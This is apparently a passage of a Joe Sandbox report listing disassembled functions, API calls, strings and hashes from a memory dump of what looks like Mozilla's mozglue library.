AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C698ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C65EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C69B392,?,?,00000001), ref: 6C6991F4

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

name, xrefs: 6C698F16
timeline-ipc, xrefs: 6C699096
marker-table, xrefs: 6C69906C
timeline-overview, xrefs: 6C69907A
timeline-fileio, xrefs: 6C6990A4
timeline-memory, xrefs: 6C699088
stack-chart, xrefs: 6C6990B2
marker-chart, xrefs: 6C69905E
data, xrefs: 6C6990E8

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction ID: e91fcf3a85a4a0ae094e2106f39310f51662bf5ea7707ab1be9b0a83cbe8eee1
Opcode Fuzzy Hash: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction Fuzzy Hash: 55B1A3B0B0120A9BDF04CF95C4917EEBBB5EF85318F204419D506ABF80D771A955CBEA

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

0, xrefs: 6C67D30A
(null), xrefs: 6C67C596

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C653508
kernel32.dll, xrefs: 6C6534EA

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C669620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

NtMapViewOfSection, xrefs: 6C669701
ntdll.dll, xrefs: 6C6696E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
MapViewOfFileNuma2, xrefs: 6C6697B1

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction ID: c58beb77730c3bb50b81c3ab3c95484078194ae74635b95675cd758bd60d9ed7
Opcode Fuzzy Hash: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction Fuzzy Hash: 38418F757002069BDF00CFA7E8D4AD67BB4EB4A768F014529ED1597B80D730B805CFAA

Function 6C663E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C663EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C663FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C664134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664157

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f247eb4cf49074cd7f41e602e599435642a9b1894c5ac81416b866b1157663d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 47A181B1A00215CFDB40CF6AC880769B7B5FF49308F2541A9D909AFB42D771E886CBA5

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
